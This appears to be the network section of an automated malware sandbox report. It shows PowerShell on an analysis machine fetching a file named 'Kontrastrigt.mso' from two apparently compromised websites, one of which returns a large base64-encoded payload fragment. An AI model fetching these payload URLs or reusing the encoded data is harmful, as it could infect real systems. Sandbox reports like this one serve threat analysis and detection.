Dec 19, 2024 12:35:34.461879969 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.586694956 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.586824894 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.593067884 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.593161106 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.598602057 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.598701954 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.859165907 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.859186888 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.859280109 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.979581118 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.979691029 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.979758024 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.979830980 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.979866028 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.979943037 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.980623960 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.980700970 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.980735064 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.980804920 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.981586933 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.981673956 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.982422113 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.982517958 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.982574940 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.982647896 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.983582973 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.983673096 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.984442949 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.984519958 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.984534025 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.984602928 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.985584974 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.985699892 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.986447096 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.986541986 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.989212036 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.989355087 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.990030050 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.990134001 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.990995884 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.991076946 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.991964102 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.992041111 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.993114948 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.993213892 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.993980885 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.994055033 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.994081020 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.994149923 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.994971037 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.995049000 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.995065928 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.995131969 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.995974064 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.996056080 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.002274990 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.002403975 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.099713087 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.099879026 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.101922035 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.102030993 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.105750084 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.105854034 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.110254049 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.110507965 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.114150047 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.114279985 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.114294052 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.114320993 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:35.114404917 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:35.114981890 CET	49728	443	192.168.2.5	103.53.42.63

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 12:35:12.856043100 CET	51845	53	192.168.2.5	1.1.1.1
Dec 19, 2024 12:35:13.610810041 CET	53	51845	1.1.1.1	192.168.2.5
Dec 19, 2024 12:35:16.198261023 CET	59163	53	192.168.2.5	1.1.1.1
Dec 19, 2024 12:35:16.419693947 CET	53	59163	1.1.1.1	192.168.2.5
Dec 19, 2024 12:35:29.846184969 CET	53761	53	192.168.2.5	1.1.1.1
Dec 19, 2024 12:35:30.832834959 CET	53761	53	192.168.2.5	1.1.1.1
Dec 19, 2024 12:35:30.909641981 CET	53	53761	1.1.1.1	192.168.2.5
Dec 19, 2024 12:35:30.971375942 CET	53	53761	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 12:35:12.856043100 CET	192.168.2.5	1.1.1.1	0x892a	Standard query (0)	www.puneet.ae	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:16.198261023 CET	192.168.2.5	1.1.1.1	0xec06	Standard query (0)	puneet.ae	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:29.846184969 CET	192.168.2.5	1.1.1.1	0x5c2b	Standard query (0)	www.ftsengineers.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:30.832834959 CET	192.168.2.5	1.1.1.1	0x5c2b	Standard query (0)	www.ftsengineers.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 12:35:06.328267097 CET	1.1.1.1	192.168.2.5	0x54b5	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:35:06.328267097 CET	1.1.1.1	192.168.2.5	0x54b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.101	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:06.328267097 CET	1.1.1.1	192.168.2.5	0x54b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.98	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:06.328267097 CET	1.1.1.1	192.168.2.5	0x54b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.100	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:06.328267097 CET	1.1.1.1	192.168.2.5	0x54b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.99	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:13.610810041 CET	1.1.1.1	192.168.2.5	0x892a	No error (0)	www.puneet.ae	puneet.ae		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:35:13.610810041 CET	1.1.1.1	192.168.2.5	0x892a	No error (0)	puneet.ae		209.124.66.28	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:16.419693947 CET	1.1.1.1	192.168.2.5	0xec06	No error (0)	puneet.ae		209.124.66.28	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:30.909641981 CET	1.1.1.1	192.168.2.5	0x5c2b	No error (0)	www.ftsengineers.com	ftsengineers.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:35:30.909641981 CET	1.1.1.1	192.168.2.5	0x5c2b	No error (0)	ftsengineers.com		103.53.42.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:35:30.971375942 CET	1.1.1.1	192.168.2.5	0x5c2b	No error (0)	www.ftsengineers.com	ftsengineers.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:35:30.971375942 CET	1.1.1.1	192.168.2.5	0x5c2b	No error (0)	ftsengineers.com		103.53.42.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.puneet.ae

puneet.ae

www.ftsengineers.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	209.124.66.28	443	1200	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:35:15 UTC	176	OUT	GET /it/Kontrastrigt.mso HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.puneet.ae Connection: Keep-Alive
2024-12-19 11:35:16 UTC	951	IN	HTTP/1.1 301 Moved Permanently Connection: close x-powered-by: PHP/8.1.31 x-litespeed-vary: cookie=np_wc_currency,cookie=np_wc_currency_language,cookie=_icl_current_language, value=nitrodesktop x-litespeed-tag: uri=092df62fd6c60d5ec274e1ec415f0abb expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-litespeed-cache-control: no-cache content-type: text/html; charset=UTF-8 x-nitro-cache: MISS x-nitro-disabled-reason: 404 x-nitro-disabled: 1 x-redirect-by: WordPress location: https://puneet.ae/it/Kontrastrigt.mso content-length: 0 date: Thu, 19 Dec 2024 11:35:15 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	209.124.66.28	443	1200	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:35:22 UTC	58	OUT	GET /it/Kontrastrigt.mso HTTP/1.1 Host: www.puneet.ae
2024-12-19 11:35:22 UTC	773	IN	HTTP/1.1 301 Moved Permanently Connection: close x-powered-by: PHP/8.1.31 x-litespeed-vary: cookie=np_wc_currency,cookie=np_wc_currency_language,cookie=_icl_current_language, value=nitrodesktop x-litespeed-tag: uri=092df62fd6c60d5ec274e1ec415f0abb expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-litespeed-cache-control: no-cache content-type: text/html; charset=UTF-8 x-nitro-cache: MISS x-nitro-disabled-reason: 404 x-nitro-disabled: 1 x-redirect-by: WordPress location: https://puneet.ae/it/Kontrastrigt.mso content-length: 0 date: Thu, 19 Dec 2024 11:35:22 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	209.124.66.28	443	1200	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:35:24 UTC	78	OUT	GET /it/Kontrastrigt.mso HTTP/1.1 Host: puneet.ae Connection: Keep-Alive
2024-12-19 11:35:25 UTC	761	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/8.1.31 x-litespeed-vary: cookie=np_wc_currency,cookie=np_wc_currency_language,cookie=_icl_current_language, value=nitrodesktop x-litespeed-tag: uri=092df62fd6c60d5ec274e1ec415f0abb expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-litespeed-cache-control: no-cache content-type: text/html; charset=UTF-8 x-nitro-cache: MISS x-nitro-disabled-reason: 404 x-nitro-disabled: 1 link: <https://puneet.ae/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked date: Thu, 19 Dec 2024 11:35:25 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff
2024-12-19 11:35:25 UTC	607	IN	Data Raw: 63 65 35 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 3e 0a 09 3c 68 65 61 64 3e 0a 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 0a 09 09 Data Ascii: ce53<!DOCTYPE html><html dir="ltr" lang="en-US" prefix="og: https://ogp.me/ns#"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1" />
2024-12-19 11:35:25 UTC	14994	IN	Data Raw: 20 52 61 6e 6b 20 4d 61 74 68 20 2d 20 68 74 74 70 73 3a 2f 2f 72 61 6e 6b 6d 61 74 68 2e 63 6f 6d 2f 20 2d 2d 3e 0a 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 50 75 6e 65 65 74 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6e 64 65 78 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6c 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 Data Ascii: Rank Math - https://rankmath.com/ --><title>Page not found - Puneet</title><meta name="robots" content="follow, noindex"/><meta property="og:locale" content="en_US" /><meta property="og:type" content="article" /><meta property="og:title" content="Pa
2024-12-19 11:35:25 UTC	16384	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 77 68 69 74 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d Data Ascii: !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(-
2024-12-19 11:35:25 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 75 6e 65 65 74 2e 61 65 2f 67 72 61 70 68 69 63 2d 64 65 73 69 67 6e 2d 61 67 65 6e 63 79 2d 64 75 62 61 69 22 3e 47 72 61 70 68 69 63 20 44 65 73 69 67 6e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 75 6e 65 65 74 2e 61 65 2f 6c 6f 67 6f 2d 64 65 73 69 67 6e 22 3e 4c 6f 67 6f 20 44 65 73 69 67 6e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 75 Data Ascii: <li><a href="https://puneet.ae/graphic-design-agency-dubai">Graphic Design</a></li> <li><a href="https://puneet.ae/logo-design">Logo Design</a></li> <li><a href="https://pu
2024-12-19 11:35:25 UTC	4458	IN	Data Raw: 34 35 22 20 68 65 69 67 68 74 3d 22 38 37 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 75 6e 65 65 74 2e 61 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 75 6e 65 65 74 2f 61 73 73 65 74 73 2f 69 6d 61 67 65 73 2f 70 64 66 2d 74 68 75 6d 62 2e 77 65 62 70 22 20 6c 6f 61 64 69 6e 67 3d 22 6c 61 7a 79 22 20 61 6c 74 3d 22 44 6f 77 6e 6c 6f 61 64 20 6f 75 72 20 70 6f 72 74 66 6f 6c 69 6f 22 20 2f 3e 3c 2f 61 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 36 20 6e 6f 2d 70 61 64 64 69 6e 67 2d 6c 65 66 74 20 6e 6f 2d 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 3e 0a 09 09 09 09 09 09 3c 68 35 3e 51 75 69 63 6b 20 50 72 65 76 69 65 77 20 6f 66 20 4f 75 72 20 57 6f 72 6b 3c 2f 68 35 3e Data Ascii: 45" height="87" src="https://puneet.ae/wp-content/themes/puneet/assets/images/pdf-thumb.webp" loading="lazy" alt="Download our portfolio" /></a></div><div class="col-6 no-padding-left no-padding-right"><h5>Quick Preview of Our Work</h5>
2024-12-19 11:35:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49728	103.53.42.63	443	1200	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:35:32 UTC	89	OUT	GET /it/Kontrastrigt.mso HTTP/1.1 Host: www.ftsengineers.com Connection: Keep-Alive
2024-12-19 11:35:33 UTC	209	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 11:35:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 09 Dec 2024 03:12:30 GMT Accept-Ranges: bytes Content-Length: 439600
2024-12-19 11:35:33 UTC	7983	IN	Data Raw: 63 51 47 62 63 51 47 62 75 2b 32 52 48 41 44 72 41 6c 2b 58 36 77 4b 46 77 77 4e 63 4a 41 52 78 41 5a 74 78 41 5a 75 35 7a 53 6b 75 56 48 45 42 6d 2b 73 43 55 4a 2b 42 38 58 39 73 6a 47 4c 72 41 73 67 55 63 51 47 62 67 63 46 4f 75 6c 33 4a 63 51 47 62 36 77 4a 51 70 58 45 42 6d 33 45 42 6d 37 70 36 77 53 6d 59 63 51 47 62 63 51 47 62 63 51 47 62 36 77 4b 4f 44 44 48 4b 36 77 49 6d 55 4f 73 43 7a 48 32 4a 46 41 76 72 41 6a 50 6c 63 51 47 62 30 65 4c 72 41 76 61 51 63 51 47 62 67 38 45 45 63 51 47 62 36 77 4c 34 48 49 48 35 30 36 42 45 41 33 7a 4b 36 77 4a 6c 52 65 73 43 49 52 6d 4c 52 43 51 45 63 51 47 62 36 77 4c 2f 45 34 6e 44 63 51 47 62 63 51 47 62 67 63 50 54 44 4d 45 42 63 51 47 62 63 51 47 62 75 72 52 72 53 45 4a 78 41 5a 74 78 41 5a 75 42 77 69 35 Data Ascii: cQGbcQGbu+2RHADrAl+X6wKFwwNcJARxAZtxAZu5zSkuVHEBm+sCUJ+B8X9sjGLrAsgUcQGbgcFOul3JcQGb6wJQpXEBm3EBm7p6wSmYcQGbcQGbcQGb6wKODDHK6wImUOsCzH2JFAvrAjPlcQGb0eLrAvaQcQGbg8EEcQGb6wL4HIH506BEA3zK6wJlResCIRmLRCQEcQGb6wL/E4nDcQGbcQGbgcPTDMEBcQGbcQGburRrSEJxAZtxAZuBwi5
2024-12-19 11:35:33 UTC	8000	IN	Data Raw: 76 4b 4a 4a 39 37 53 35 4d 72 46 6a 31 57 61 44 68 70 54 55 36 7a 4c 52 53 6c 4a 4d 38 39 4a 2f 4d 6f 47 6b 75 71 72 52 63 66 43 45 70 78 63 49 51 59 45 6a 39 6f 4e 34 77 66 38 46 49 45 34 72 33 2f 47 66 62 6f 4d 61 4c 45 2b 35 75 47 33 70 31 45 41 66 63 4f 71 4c 45 33 4c 68 52 56 7a 58 77 2f 56 54 71 69 6e 53 74 39 30 50 61 64 54 69 37 38 4b 4e 66 70 59 4e 52 68 73 2f 6c 58 2f 56 4e 53 63 33 30 70 49 75 54 66 53 45 6d 56 55 4b 64 4b 5a 4a 39 49 53 6d 53 66 53 45 70 6b 6e 33 7a 65 6e 31 79 44 35 69 37 4e 48 57 6c 4f 6a 55 37 61 36 68 38 6a 4b 6a 5a 36 61 6f 62 39 47 74 4c 41 35 75 6a 61 4a 74 4c 78 54 58 30 55 6d 41 75 4b 59 57 52 49 53 6d 53 66 53 45 70 6b 6e 30 68 4b 5a 4b 78 69 4f 4b 50 71 6a 6f 5a 62 54 58 67 30 57 62 77 42 2f 58 44 4a 54 32 54 73 63 Data Ascii: vKJJ97S5MrFj1WaDhpTU6zLRSlJM89J/MoGkuqrRcfCEpxcIQYEj9oN4wf8FIE4r3/GfboMaLE+5uG3p1EAfcOqLE3LhRVzXw/VTqinSt90PadTi78KNfpYNRhs/lX/VNSc30pIuTfSEmVUKdKZJ9ISmSfSEpkn3zen1yD5i7NHWlOjU7a6h8jKjZ6aob9GtLA5ujaJtLxTX0UmAuKYWRISmSfSEpkn0hKZKxiOKPqjoZbTXg0WbwB/XDJT2Tsc
2024-12-19 11:35:33 UTC	8000	IN	Data Raw: 65 34 76 44 36 54 78 43 41 67 4a 63 30 71 5a 72 49 4c 37 6e 4b 6a 37 4d 32 63 68 53 66 55 4f 32 35 35 65 6c 79 72 63 67 31 34 69 6e 31 6c 34 64 4d 36 51 54 38 2b 5a 63 54 65 54 58 65 62 2f 66 51 58 46 31 44 6b 7a 34 58 5a 4c 74 7a 72 55 61 4f 48 46 71 76 74 5a 62 30 63 75 59 66 6b 6e 30 68 4b 5a 4a 39 49 53 6d 53 66 53 48 2f 7a 51 6f 49 65 37 57 4e 45 50 56 6e 68 52 68 4f 7a 74 47 70 6b 46 4d 53 59 42 4f 33 46 68 34 30 4a 41 41 4d 4f 72 39 6d 68 33 67 72 6a 57 4e 30 43 2f 7a 51 34 71 4e 54 39 36 68 6a 52 6c 4e 61 33 53 36 39 6f 48 46 38 4b 72 53 72 72 31 30 4c 4b 37 55 61 42 78 51 6f 30 39 65 58 6b 4a 61 39 32 71 2b 6a 72 2f 6d 74 37 71 48 46 62 54 77 36 42 65 62 77 4d 61 57 37 4b 44 6d 68 38 79 61 4a 75 52 75 32 49 4a 42 7a 65 46 37 30 52 50 4a 79 39 50 Data Ascii: e4vD6TxCAgJc0qZrIL7nKj7M2chSfUO255elyrcg14in1l4dM6QT8+ZcTeTXeb/fQXF1Dkz4XZLtzrUaOHFqvtZb0cuYfkn0hKZJ9ISmSfSH/zQoIe7WNEPVnhRhOztGpkFMSYBO3Fh40JAAMOr9mh3grjWN0C/zQ4qNT96hjRlNa3S69oHF8KrSrr10LK7UaBxQo09eXkJa92q+jr/mt7qHFbTw6BebwMaW7KDmh8yaJuRu2IJBzeF70RPJy9P
2024-12-19 11:35:33 UTC	8000	IN	Data Raw: 6d 62 4f 6d 64 42 64 71 64 75 68 41 70 6b 6e 30 68 4b 5a 4a 39 49 53 6d 53 66 66 52 4f 4c 43 39 66 73 32 61 48 46 52 68 71 63 6b 76 59 48 64 46 54 35 75 4f 52 49 4c 64 4d 53 4a 78 58 45 37 71 76 42 50 72 41 63 4a 41 56 7a 56 41 67 45 34 78 30 42 65 32 35 6f 4e 69 6d 41 52 75 65 45 35 54 48 39 71 59 48 63 62 55 62 6e 53 41 68 44 78 73 59 30 4f 46 71 52 6d 33 71 6f 43 74 7a 32 35 33 64 66 2f 49 42 46 76 66 4b 50 58 73 35 6f 56 78 43 52 63 71 70 76 37 7a 48 42 79 64 5a 6b 47 44 58 37 37 67 6c 52 36 78 42 4a 4b 44 65 2b 4a 62 56 50 38 48 47 58 64 69 5a 2b 4b 44 61 77 79 4c 4f 36 42 4f 57 4d 46 6c 75 59 61 44 61 64 4c 79 2f 69 52 4f 4f 32 39 66 6b 2b 6e 43 31 47 35 77 6f 4d 41 38 62 47 50 76 6b 59 75 7a 67 54 54 6c 6d 64 30 51 37 6f 72 32 75 48 79 6a 6d 4a 34 Data Ascii: mbOmdBdqduhApkn0hKZJ9ISmSffROLC9fs2aHFRhqckvYHdFT5uORILdMSJxXE7qvBPrAcJAVzVAgE4x0Be25oNimARueE5TH9qYHcbUbnSAhDxsY0OFqRm3qoCtz253df/IBFvfKPXs5oVxCRcqpv7zHBydZkGDX77glR6xBJKDe+JbVP8HGXdiZ+KDawyLO6BOWMFluYaDadLy/iROO29fk+nC1G5woMA8bGPvkYuzgTTlmd0Q7or2uHyjmJ4
